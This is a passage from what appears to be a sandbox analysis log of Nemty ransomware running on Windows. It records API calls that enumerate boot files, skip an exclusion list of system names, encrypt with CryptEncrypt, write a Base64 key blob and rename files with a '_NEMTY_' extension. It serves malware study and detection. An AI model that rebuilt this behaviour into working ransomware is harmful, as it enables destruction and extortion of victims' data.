hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.019] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.026] CloseHandle (hObject=0xffffffff) returned 0 [0044.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0044.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.026] MoveFileW (lpExistingFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\en-US\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.026] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0044.026] lstrcmpiW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0044.026] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0044.026] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="...") returned 1 [0044.026] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="windows") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="rsa") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntldr") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="IO.SYS") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="boot.ini") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="boot.ini") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntuser.dat") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="desktop.ini") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="CONFIG.SYS") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="RECYCLER") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootmgr") returned 1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="programdata") returned -1 [0044.027] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="appdata") returned 1 [0044.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.027] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.027] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="memtest.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memtest.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.028] Sleep (dwMilliseconds=0x5) [0044.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcdf35690, dwHighDateTime=0x1d561e7)) [0044.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcdf35690, dwHighDateTime=0x1d561e7)) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.037] SetLastError (dwErrCode=0x5) [0044.037] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] GetLastError () returned 0x5 [0044.038] SetLastError (dwErrCode=0x5) [0044.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.038] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.038] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0044.038] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0044.039] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0044.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0044.039] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="jr0EykgFY7nXzwiXv+SDPPJ4u3p3CA6cJxtPXNZO3u77KTB4cOAYSC8g3GwJHuc3\r\nCjiftgSOM1F++NNtTWWqOClHBFPgjz3DR+C/Xe9pqr4eTWTb2SQT0tb0CIDKCEWp\r\nPAszDF5cE3ytcD7zrZr3A8tXJxUUU+jhaKt/n/IbLYNfZkbkmsDEf/iCieTF60pl\r\nVZOSEyGSmDNIEXhKEihyQ9pZ3iZrYmp/qDYExC7q20tnB3I6lCVK1SoKoRm9EPvK\r\n/V/9UvRlLTorwWPEz6G7KXdf+XaVj7fJUKiYI/w14teSEFnRl6vNRTpW21obN+cX\r\nGQTDg81xLDp8istv8gnnnw==\r\n", pcchString=0x653f2dc) returned 1 [0044.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0044.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0044.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0044.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0044.039] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.039] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0044.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0044.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.111] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.166] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.198] CloseHandle (hObject=0xffffffff) returned 0 [0044.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.198] RtlAllocateHeap (HeapHandle=0x4f90000, 